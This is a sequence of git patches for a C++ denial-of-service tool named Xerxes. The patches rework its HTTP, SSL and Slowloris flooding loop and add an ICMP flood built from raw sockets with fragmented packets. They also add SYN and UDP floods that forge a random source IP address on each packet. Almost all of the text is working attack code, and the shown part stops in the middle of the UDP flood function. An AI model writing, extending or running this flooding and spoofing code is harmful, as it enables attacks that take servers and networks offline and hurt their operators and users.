From fc5eec2a77f83369248ca3cb8cb256ed23f4f899 Mon Sep 17 00:00:00 2001 From: ssh Date: Mon, 26 Mar 2018 23:28:32 +0400 Subject: [PATCH 01/14] Refactoring ... --- Doser.cpp | 119 ++++++++++++++++++++++++------------------------------ Doser.h | 4 +- 2 files changed, 55 insertions(+), 68 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index 608a3f5..8856ba5 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -14,62 +14,17 @@ void Doser::attack(const int *id){ int x, r; std::vector sockets; std::vector packets; - for (x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); - packets.push_back(false); - } - signal(SIGPIPE, &Doser::broke); - while(true) { - static std::string message; + std::vector CTXs; + std::vector SSLs; + if(conf->UseSSL){ for (x = 0; x < conf->CONNECTIONS; x++) { - if(!sockets[x]){ - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - packets[x] = false; - } - if(conf->vector == config::NullTCP | conf->vector == config::NullUDP){ - r = write_socket(sockets[x], "\0", 1); - }else{ - std::string packet = craft_packet(packets[x]); - r = write_socket(sockets[x], packet.c_str(), static_cast(packet.length())); - packets[x] = true; - } - if(conf->GetResponse){ - read_socket(sockets[x]); - } - if(r == -1){ - close(sockets[x]); - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - packets[x] = false; - }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - } - } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - if(conf->vector == config::Slowloris){ - usleep(10000000); - }else{ - usleep(30000); + SSLs.push_back(nullptr); + CTXs.push_back(nullptr); } - } -} - -void Doser::attack_ssl(const int *id){ - int x, r; - std::vector sockets; - std::vector packets; - std::vector CTXs; - std::vector SSLs; for (x = 0; x < conf->CONNECTIONS; x++) { sockets.push_back(0); packets.push_back(false); - SSLs.push_back(nullptr); - CTXs.push_back(nullptr); } signal(SIGPIPE, &Doser::broke); while(true) { @@ -77,27 +32,45 @@ void Doser::attack_ssl(const int *id){ for (x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - CTXs[x] = InitCTX(); - SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + if(conf->UseSSL){ + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + } packets[x] = false; } if(conf->vector == config::NullTCP | conf->vector == config::NullUDP){ - r = write_socket(SSLs[x], "\0", 1); + if(conf->UseSSL){ + r = write_socket(SSLs[x], "\0", 1); + }else{ + r = write_socket(sockets[x], "\0", 1); + } }else{ std::string packet = craft_packet(packets[x]); - r = write_socket(SSLs[x], packet.c_str(), static_cast(packet.length())); + if(conf->UseSSL){ + r = write_socket(SSLs[x], packet.c_str(), static_cast(packet.length())); + }else{ + r = write_socket(sockets[x], packet.c_str(), static_cast(packet.length())); + } packets[x] = true; } if(conf->GetResponse){ - read_socket(SSLs[x]); + if(conf->UseSSL){ + read_socket(SSLs[x]); + }else{ + read_socket(sockets[x]); + } } if(r == -1){ - SSL_free(SSLs[x]); - close(sockets[x]); - SSL_CTX_free(CTXs[x]); + if(conf->UseSSL){ + cleanup(SSLs[x], &sockets[x], CTXs[x]); + }else{ + cleanup(&sockets[x]); + } sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - CTXs[x] = InitCTX(); - SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + if(conf->UseSSL){ + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + } packets[x] = false; }else{ message = std::string("Socket[") + std::to_string(x) + "->" @@ -114,9 +87,9 @@ void Doser::attack_ssl(const int *id){ }else{ usleep(30000); } + } } - int Doser::make_socket(const char *host, const char *port) { struct addrinfo hints{}, *servinfo, *p; int sock = 0, r; @@ -219,11 +192,7 @@ void Doser::run() { switch (fork()){ case 0:break; default: - if(conf->UseSSL){ - attack_ssl(&x); - }else{ - attack(&x); - } + attack(&x); } usleep(200000); } @@ -292,6 +261,7 @@ std::string Doser::craft_packet(bool keep_alive){ + " \r\nContent-Type: " + contenttype[0] + " \r\nCookie: " + createStr() + "=" + createStr() + " \r\nKeep-Alive: " + std::to_string(randomInt(1, 5000)) + + " \r\nDNT: " + std::to_string(randomInt(0, 1)) + "\r\n\r\n"; return packet; } @@ -318,6 +288,7 @@ std::string Doser::craft_packet(bool keep_alive){ + " \r\nContent-Type: " + contenttype[0] + " \r\nCookie: " + createStr() + "=" + createStr() + " \r\nAccept: */*" + + " \r\nDNT: " + std::to_string(randomInt(0, 1)) + " \r\nX-a: " + std::to_string(randomInt(1, 5000)) + " \r\n"; } @@ -356,4 +327,18 @@ SSL *Doser::Apply_SSL(int socket, SSL_CTX *ctx){ exit(EXIT_FAILURE); } return ssl; -} \ No newline at end of file +} + +void Doser::cleanup(const int *socket) { + close(*socket); +} + +void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { + SSL_free(ssl); + close(*socket); + SSL_CTX_free(ctx); +} + +void Doser::attack_icmp(const int *id) { + +} diff --git a/Doser.h b/Doser.h index 8dced83..9752534 100644 --- a/Doser.h +++ b/Doser.h @@ -24,10 +24,12 @@ class Doser { std::string createStr(); int randomInt(int min, int max); void attack(const int *id); - void attack_ssl(const int *id); + void attack_icmp(const int *id); std::string randomizeUserAgent(); SSL_CTX* InitCTX(); SSL *Apply_SSL(int socket, SSL_CTX *ctx); + void cleanup(const int *socket); + void cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx); config *conf; Logger *logger; std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; From f9d1a347dc83af8861772960c6572e2a7808b90f Mon Sep 17 00:00:00 2001 From: ssh Date: Wed, 28 Mar 2018 19:39:44 +0400 Subject: [PATCH 02/14] Adding ICMP Flood --- Configuration.h | 2 +- Doser.cpp | 98 +++++++++++++++++++++++++++++++++++++++++++++++-- Doser.h | 2 +- Parser.cpp | 3 ++ 4 files changed, 99 insertions(+), 6 deletions(-) diff --git a/Configuration.h b/Configuration.h index f8456cf..4630597 100644 --- a/Configuration.h +++ b/Configuration.h @@ -5,7 +5,7 @@ #include struct config{ - enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris}; + enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood}; enum Protocol{TCP, UDP}; Protocol protocol{TCP}; Vector vector{NullTCP}; diff --git a/Doser.cpp b/Doser.cpp index 8856ba5..0331fb8 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -7,10 +7,16 @@ #include #include #include +#include +#include +#include #include "Doser.h" void Doser::attack(const int *id){ + if(conf->vector == config::ICMPFlood){ + icmp_flood(id); + } int x, r; std::vector sockets; std::vector packets; @@ -95,7 +101,7 @@ int Doser::make_socket(const char *host, const char *port) { int sock = 0, r; std::string message = std::string("Connecting-> ") + host + ":" + port; logger->Log(&message, Logger::Info); - memset(&hints, 0, sizeof(hints)); + bzero(&hints, sizeof(hints)); hints.ai_family = AF_UNSPEC; switch (conf->protocol){ case config::TCP: @@ -212,14 +218,14 @@ std::string Doser::randomizeUserAgent(){ void Doser::read_socket(int socket){ char chunk[128]; while(read(socket , chunk, 128)){ - memset(chunk , 0 , 128); + bzero(chunk, sizeof(chunk)); } } void Doser::read_socket(SSL *ssl) { char chunk[128]; while(SSL_read(ssl , chunk, 128)){ - memset(chunk , 0 , 128); + bzero(chunk, sizeof(chunk)); } } @@ -339,6 +345,90 @@ void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { SSL_CTX_free(ctx); } -void Doser::attack_icmp(const int *id) { +void Doser::icmp_flood(const int *id) { + int s, x, offset, on = 1; + char buf[400]; + std::string message{}; + // Structs + auto *ip = (struct ip *)buf; + auto *icmp = (struct icmphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; + + while(true){ + for(x = 0;x < conf->CONNECTIONS; x++){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ + logger->Log("socket() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + } + std::string src{}; + src += std::to_string(randomInt(1, 254)) + + std::to_string('.') + + std::to_string(randomInt(1, 254)) + + std::to_string('.') + + std::to_string(randomInt(1, 254)) + + std::to_string('.') + + std::to_string(randomInt(1, 254)); + + if((ip->ip_src.s_addr = inet_addr(src.c_str())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); + exit(EXIT_FAILURE); + } + + // IP Struct + ip->ip_v = 4; + ip->ip_hl = sizeof*ip >> 2; + ip->ip_tos = 0; + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = htons(4321); + ip->ip_off = htons(0); + ip->ip_ttl = 255; + ip->ip_p = 1; + ip->ip_sum = 0; + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_INET; + icmp->type = ICMP_ECHO; + icmp->code = 0; + icmp->checksum = htons(~(ICMP_ECHO << 8)); + for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip))){ + ip->ip_off = htons(offset >> 3); + if(offset < 65120){ + ip->ip_off |= htons(0x2000); + }else{ + ip->ip_len = htons(418); + } + + if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ + logger->Log("sendto() error", Logger::Error); + } + + if(offset == 0){ + icmp->type = 0; + icmp->code = 0; + icmp->checksum = 0; + } + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + close(s); + usleep(30000); + } + } } diff --git a/Doser.h b/Doser.h index 9752534..9d34fec 100644 --- a/Doser.h +++ b/Doser.h @@ -24,7 +24,7 @@ class Doser { std::string createStr(); int randomInt(int min, int max); void attack(const int *id); - void attack_icmp(const int *id); + void icmp_flood(const int *id); std::string randomizeUserAgent(); SSL_CTX* InitCTX(); SSL *Apply_SSL(int socket, SSL_CTX *ctx); diff --git a/Parser.cpp b/Parser.cpp index d782005..369f09f 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -91,6 +91,9 @@ void Parser::parse_commandline(const int *argc, const char *argv[]) { logger->setLevel(Logger::Warning); } break; + case 'i': + conf->vector = config::ICMPFlood; + break; default: help(); } From 2667a05f6f6479a428a20c126855dd4586347698 Mon Sep 17 00:00:00 2001 From: ssh Date: Wed, 28 Mar 2018 20:55:18 +0400 Subject: [PATCH 03/14] Fixing bugs --- Doser.cpp | 17 ++++++++--------- main.cpp | 2 +- 2 files changed, 9 insertions(+), 10 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index 0331fb8..8e1f0e0 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -313,7 +313,7 @@ int Doser::randomInt(int min, int max){ } SSL_CTX *Doser::InitCTX() { - const SSL_METHOD *method{SSLv3_client_method()}; + const SSL_METHOD *method{TLSv1_client_method()}; SSL_CTX *ctx; OpenSSL_add_ssl_algorithms(); SSL_load_error_strings(); @@ -376,14 +376,13 @@ void Doser::icmp_flood(const int *id) { }else{ bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); } - std::string src{}; - src += std::to_string(randomInt(1, 254)) - + std::to_string('.') - + std::to_string(randomInt(1, 254)) - + std::to_string('.') - + std::to_string(randomInt(1, 254)) - + std::to_string('.') - + std::to_string(randomInt(1, 254)); + std::string src{std::to_string(randomInt(1, 256))}; + src += "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)); if((ip->ip_src.s_addr = inet_addr(src.c_str())) < 0){ logger->Log("Unable to set random src ip", Logger::Error); diff --git a/main.cpp b/main.cpp index 446e528..6ba3e71 100644 --- a/main.cpp +++ b/main.cpp @@ -1,6 +1,6 @@ #include -#include #include +#include #include "Parser.h" void capture_signal(int); From e04dd5e45d87e1a9e340cf55bf57c7f03899c073 Mon Sep 17 00:00:00 2001 From: ssh Date: Wed, 28 Mar 2018 23:07:20 +0400 Subject: [PATCH 04/14] Fixing bugs --- Doser.cpp | 140 +++++++++++++++++++++++++++++++----------------------- Doser.h | 2 + 2 files changed, 83 insertions(+), 59 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index 8e1f0e0..f62ae11 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -346,88 +346,110 @@ void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { } void Doser::icmp_flood(const int *id) { - int s, x, offset, on = 1; - char buf[400]; std::string message{}; - // Structs - auto *ip = (struct ip *)buf; - auto *icmp = (struct icmphdr *)(ip + 1); - struct hostent *hp; - struct sockaddr_in dst{}; - while(true){ - for(x = 0;x < conf->CONNECTIONS; x++){ - bzero(buf, sizeof(buf)); - if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ + for(int x = 0; x < conf->CONNECTIONS; x++){ + int sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + int on = 1; + + if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&on, sizeof (on)) < 0) { logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } - if((hp = gethostbyname(conf->website.c_str())) == nullptr){ - if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ - logger->Log("Can't resolve the host", Logger::Error); - exit(EXIT_FAILURE); - } - }else{ - bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + if (setsockopt (sockfd, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on)) < 0) { + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); } - std::string src{std::to_string(randomInt(1, 256))}; - src += "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)); - - if((ip->ip_src.s_addr = inet_addr(src.c_str())) < 0){ - logger->Log("Unable to set random src ip", Logger::Error); + + size_t packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + 400; + auto *packet = (char *) malloc (packet_size); + if (!packet) { + logger->Log("memory error", Logger::Error); + close(sockfd); exit(EXIT_FAILURE); } - // IP Struct - ip->ip_v = 4; - ip->ip_hl = sizeof*ip >> 2; - ip->ip_tos = 0; - ip->ip_len = htons(sizeof(buf)); - ip->ip_id = htons(4321); - ip->ip_off = htons(0); - ip->ip_ttl = 255; - ip->ip_p = 1; - ip->ip_sum = 0; - - dst.sin_addr = ip->ip_dst; - dst.sin_family = AF_INET; + auto *ip = (struct iphdr *) packet; + auto *icmp = (struct icmphdr *) (packet + sizeof (struct iphdr)); + + bzero(packet, packet_size); + + ip->version = 4; + ip->ihl = 5; + ip->tos = 0; + ip->tot_len = htons (packet_size); + ip->id = static_cast(randomInt(1, 1000)); + ip->frag_off = 0; + ip->ttl = 255; + ip->protocol = IPPROTO_ICMP; + ip->saddr = inet_addr(randomizeIP()); + ip->daddr = inet_addr(conf->website.c_str()); + //ip->check = in_cksum ((u16 *) ip, sizeof (struct iphdr)); + icmp->type = ICMP_ECHO; icmp->code = 0; - icmp->checksum = htons(~(ICMP_ECHO << 8)); - for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip))){ - ip->ip_off = htons(offset >> 3); - if(offset < 65120){ - ip->ip_off |= htons(0x2000); - }else{ - ip->ip_len = htons(418); - } + icmp->un.echo.sequence = static_cast(randomInt(1, 1000)); + icmp->un.echo.id = static_cast(randomInt(1, 10000)); + //checksum + icmp->checksum = 0; - if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ - logger->Log("sendto() error", Logger::Error); - } + struct sockaddr_in servaddr{}; + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr(conf->website.c_str()); + bzero(&servaddr.sin_zero, sizeof(servaddr.sin_zero)); + memset(packet + sizeof(struct iphdr) + sizeof(struct icmphdr), randomInt(1, 255), 72); + icmp->checksum = 0; + icmp->checksum = cksum((unsigned short *)icmp, sizeof(struct icmphdr) + 72); - if(offset == 0){ - icmp->type = 0; - icmp->code = 0; - icmp->checksum = 0; - } + if ( (sendto(sockfd, packet, packet_size, 0, (struct sockaddr*) &servaddr, sizeof (servaddr))) < 1) { + logger->Log("sendto() error", Logger::Error); + free(packet); + close(sockfd); + exit(EXIT_FAILURE); } message = std::to_string(*id) + ": Voly Sent"; logger->Log(&message, Logger::Info); - close(s); + free(packet); + close(sockfd); usleep(30000); } + } + +} + +unsigned short Doser::cksum(unsigned short *ptr, int nbytes) { + long checksum; + u_short oddbyte; + checksum = 0; + while (nbytes > 1) { + checksum += *ptr++; + nbytes -= 2; + } + if (nbytes == 1) { + oddbyte = 0; + *((u_char *) & oddbyte) = *(u_char *) ptr; + checksum += oddbyte; + } + checksum = (checksum >> 16) + (checksum & 0xffff); + checksum += (checksum >> 16); + return (static_cast(~checksum)); +} + +const char *Doser::randomizeIP() { + std::string src{std::to_string(randomInt(1, 256))}; + src += "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)); + return src.c_str(); } diff --git a/Doser.h b/Doser.h index 9d34fec..b198e0f 100644 --- a/Doser.h +++ b/Doser.h @@ -25,6 +25,8 @@ class Doser { int randomInt(int min, int max); void attack(const int *id); void icmp_flood(const int *id); + unsigned short cksum(unsigned short *ptr, int nbytes); + const char *randomizeIP(); std::string randomizeUserAgent(); SSL_CTX* InitCTX(); SSL *Apply_SSL(int socket, SSL_CTX *ctx); From 2848df0ed0a0402bc3bde895b955eab65eb02a68 Mon Sep 17 00:00:00 2001 From: ssh Date: Wed, 28 Mar 2018 23:22:08 +0400 Subject: [PATCH 05/14] Fixing bugs --- Doser.cpp | 102 ++++++++++++++++++++++++++---------------------------- 1 file changed, 50 insertions(+), 52 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index f62ae11..3845e4b 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -346,83 +346,81 @@ void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { } void Doser::icmp_flood(const int *id) { + int s, x, offset, on = 1; + char buf[400]; std::string message{}; + // Structs + auto *ip = (struct ip *)buf; + auto *icmp = (struct icmphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; while(true){ - for(int x = 0; x < conf->CONNECTIONS; x++){ - int sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); - if (sockfd < 0) { + for(x = 0;x < conf->CONNECTIONS; x++){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } - int on = 1; - - if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&on, sizeof (on)) < 0) { + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } - if (setsockopt (sockfd, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on)) < 0) { - logger->Log("setsockopt() error", Logger::Error); - exit(EXIT_FAILURE); + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); } - - size_t packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + 400; - auto *packet = (char *) malloc (packet_size); - if (!packet) { - logger->Log("memory error", Logger::Error); - close(sockfd); + if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); exit(EXIT_FAILURE); } - auto *ip = (struct iphdr *) packet; - auto *icmp = (struct icmphdr *) (packet + sizeof (struct iphdr)); - - bzero(packet, packet_size); - - ip->version = 4; - ip->ihl = 5; - ip->tos = 0; - ip->tot_len = htons (packet_size); - ip->id = static_cast(randomInt(1, 1000)); - ip->frag_off = 0; - ip->ttl = 255; - ip->protocol = IPPROTO_ICMP; - ip->saddr = inet_addr(randomizeIP()); - ip->daddr = inet_addr(conf->website.c_str()); - //ip->check = in_cksum ((u16 *) ip, sizeof (struct iphdr)); - + // IP Struct + ip->ip_v = 4; + ip->ip_hl = sizeof*ip >> 2; + ip->ip_tos = 0; + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = htons(4321); + ip->ip_off = htons(0); + ip->ip_ttl = 255; + ip->ip_p = 1; + ip->ip_sum = 0; + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_INET; icmp->type = ICMP_ECHO; icmp->code = 0; - icmp->un.echo.sequence = static_cast(randomInt(1, 1000)); - icmp->un.echo.id = static_cast(randomInt(1, 10000)); - //checksum - icmp->checksum = 0; + icmp->checksum = htons(~(ICMP_ECHO << 8)); + for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip))){ + ip->ip_off = htons(offset >> 3); + if(offset < 65120){ + ip->ip_off |= htons(0x2000); + }else{ + ip->ip_len = htons(418); + } - struct sockaddr_in servaddr{}; - servaddr.sin_family = AF_INET; - servaddr.sin_addr.s_addr = inet_addr(conf->website.c_str()); - bzero(&servaddr.sin_zero, sizeof(servaddr.sin_zero)); - memset(packet + sizeof(struct iphdr) + sizeof(struct icmphdr), randomInt(1, 255), 72); - icmp->checksum = 0; - icmp->checksum = cksum((unsigned short *)icmp, sizeof(struct icmphdr) + 72); + if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ + logger->Log("sendto() error", Logger::Error); + } - if ( (sendto(sockfd, packet, packet_size, 0, (struct sockaddr*) &servaddr, sizeof (servaddr))) < 1) { - logger->Log("sendto() error", Logger::Error); - free(packet); - close(sockfd); - exit(EXIT_FAILURE); + if(offset == 0){ + icmp->type = 0; + icmp->code = 0; + icmp->checksum = 0; + } } message = std::to_string(*id) + ": Voly Sent"; logger->Log(&message, Logger::Info); - free(packet); - close(sockfd); + close(s); usleep(30000); } - } - } unsigned short Doser::cksum(unsigned short *ptr, int nbytes) { From 76527e7c099220f004c8f521a3c3b7a50de100f4 Mon Sep 17 00:00:00 2001 From: ssh Date: Thu, 29 Mar 2018 01:14:07 +0400 Subject: [PATCH 06/14] Fixing bugs --- CMakeLists.txt | 2 +- Doser.cpp | 203 ++++++++++++++++++++++++++++++++++++++++++++----- Doser.h | 3 +- headers.h | 111 +++++++++++++++++++++++++++ 4 files changed, 297 insertions(+), 22 deletions(-) create mode 100644 headers.h diff --git a/CMakeLists.txt b/CMakeLists.txt index 151669f..e274b76 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -11,6 +11,6 @@ if( OPENSSL_FOUND ) message(STATUS "Using OpenSSL ${OPENSSL_VERSION}") endif() -add_executable(Xerxes main.cpp Configuration.h Doser.cpp Doser.h Validator.cpp Validator.h Parser.cpp Parser.h Logger.cpp Logger.h) +add_executable(Xerxes main.cpp Configuration.h Doser.cpp Doser.h Validator.cpp Validator.h Parser.cpp Parser.h Logger.cpp Logger.h headers.h) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) \ No newline at end of file diff --git a/Doser.cpp b/Doser.cpp index 3845e4b..1367323 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -11,6 +11,7 @@ #include #include #include "Doser.h" +#include "headers.h" void Doser::attack(const int *id){ @@ -357,7 +358,7 @@ void Doser::icmp_flood(const int *id) { while(true){ for(x = 0;x < conf->CONNECTIONS; x++){ bzero(buf, sizeof(buf)); - if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ + if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_RAW)) < 0){ logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } @@ -392,7 +393,7 @@ void Doser::icmp_flood(const int *id) { ip->ip_sum = 0; dst.sin_addr = ip->ip_dst; - dst.sin_family = AF_INET; + dst.sin_family = AF_UNSPEC; icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = htons(~(ICMP_ECHO << 8)); @@ -406,6 +407,7 @@ void Doser::icmp_flood(const int *id) { if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ logger->Log("sendto() error", Logger::Error); + exit(EXIT_FAILURE); } if(offset == 0){ @@ -423,24 +425,6 @@ void Doser::icmp_flood(const int *id) { } -unsigned short Doser::cksum(unsigned short *ptr, int nbytes) { - long checksum; - u_short oddbyte; - checksum = 0; - while (nbytes > 1) { - checksum += *ptr++; - nbytes -= 2; - } - if (nbytes == 1) { - oddbyte = 0; - *((u_char *) & oddbyte) = *(u_char *) ptr; - checksum += oddbyte; - } - checksum = (checksum >> 16) + (checksum & 0xffff); - checksum += (checksum >> 16); - return (static_cast(~checksum)); -} - const char *Doser::randomizeIP() { std::string src{std::to_string(randomInt(1, 256))}; src += "." @@ -451,3 +435,182 @@ const char *Doser::randomizeIP() { + std::to_string(randomInt(1, 256)); return src.c_str(); } + +void Doser::spoofed_tcp_flood(const int *id) { + int s, on = 1, x; + std::string message{}; + char buffer[8192]; + while (true){ + for(x = 0; x < conf->CONNECTIONS; x++){ + auto s_addr = randomizeIP(); + auto s_port = randomInt(0, 65535); + bzero(buffer, sizeof(buffer)); + auto *ip = (struct ipheader *) buffer; + + auto *tcp = (struct tcpheader *) (buffer + sizeof(struct ipheader)); + + struct sockaddr_in sin{}, din{}; + + if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_TCP)) < 0){ + logger->Log("socket() error", Logger::Error); + exit(EXIT_FAILURE); + } + + sin.sin_family = AF_UNSPEC; + + din.sin_family = AF_UNSPEC; + sin.sin_port = htons(s_port); + + din.sin_port = htons(strtol(conf->port.c_str(), nullptr, 10)); + + + sin.sin_addr.s_addr = inet_addr(s_addr); + + din.sin_addr.s_addr = inet_addr(conf->website.c_str()); + + ip->iph_ihl = 5; + + ip->iph_ver = 4; + + ip->iph_tos = 16; + + ip->iph_len = sizeof(struct ipheader) + sizeof(struct tcpheader); + + ip->iph_ident = htons(54321); + + ip->iph_offset = 0; + + ip->iph_ttl = 64; + + ip->iph_protocol = 6; // TCP + + ip->iph_chksum = 0; // Done by kernel + + ip->iph_sourceip = inet_addr(s_addr); + + + ip->iph_destip = inet_addr(conf->website.c_str()); + tcp->tcph_srcport = htons(s_port); + + tcp->tcph_destport = htons(strtol(conf->port.c_str(), nullptr, 10)); + + tcp->tcph_seqnum = htonl(1); + + tcp->tcph_acknum = 0; + + tcp->tcph_offset = 5; + + tcp->tcph_syn = 1; + + tcp->tcph_ack = 0; + + tcp->tcph_win = htons(32767); + + tcp->tcph_chksum = 0; // Done by kernel + + tcp->tcph_urgptr = 0; + ip->iph_chksum = checksum((unsigned short *) buffer, (sizeof(struct ipheader) + sizeof(struct tcpheader))); + // Inform the kernel do not fill up the headers' structure, we fabricated our own + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(sendto(s, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0){ + logger->Log("sendto() error", Logger::Error); + exit(EXIT_FAILURE); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + close(s); + usleep(30000); + } + } + +} + +void Doser::spoofed_udp_flood(const int *id) { + int s, on = 1, x; + std::string message{}; + char buffer[8192]; + while (true){ + for(x = 0; x < conf->CONNECTIONS; x++){ + auto s_addr = randomizeIP(); + auto s_port = randomInt(0, 65535); + bzero(buffer, sizeof(buffer)); + auto *ip = (struct ipheader *) buffer; + + auto *udp = (struct udpheader *) (buffer + sizeof(struct ipheader)); + + struct sockaddr_in sin{}, din{}; + + if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_TCP)) < 0){ + logger->Log("socket() error", Logger::Error); + exit(EXIT_FAILURE); + } + + sin.sin_family = AF_UNSPEC; + + din.sin_family = AF_UNSPEC; + sin.sin_port = htons(s_port); + + din.sin_port = htons(strtol(conf->port.c_str(), nullptr, 10)); + + // Source IP, can be any, modify as needed + + sin.sin_addr.s_addr = inet_addr(s_addr); + + din.sin_addr.s_addr = inet_addr(conf->website.c_str()); + + ip->iph_ihl = 5; + + ip->iph_ver = 4; + + ip->iph_tos = 16; // Low delay + + ip->iph_len = sizeof(struct ipheader) + sizeof(struct udpheader); + + ip->iph_ident = htons(54321); + + ip->iph_ttl = 64; // hops + + 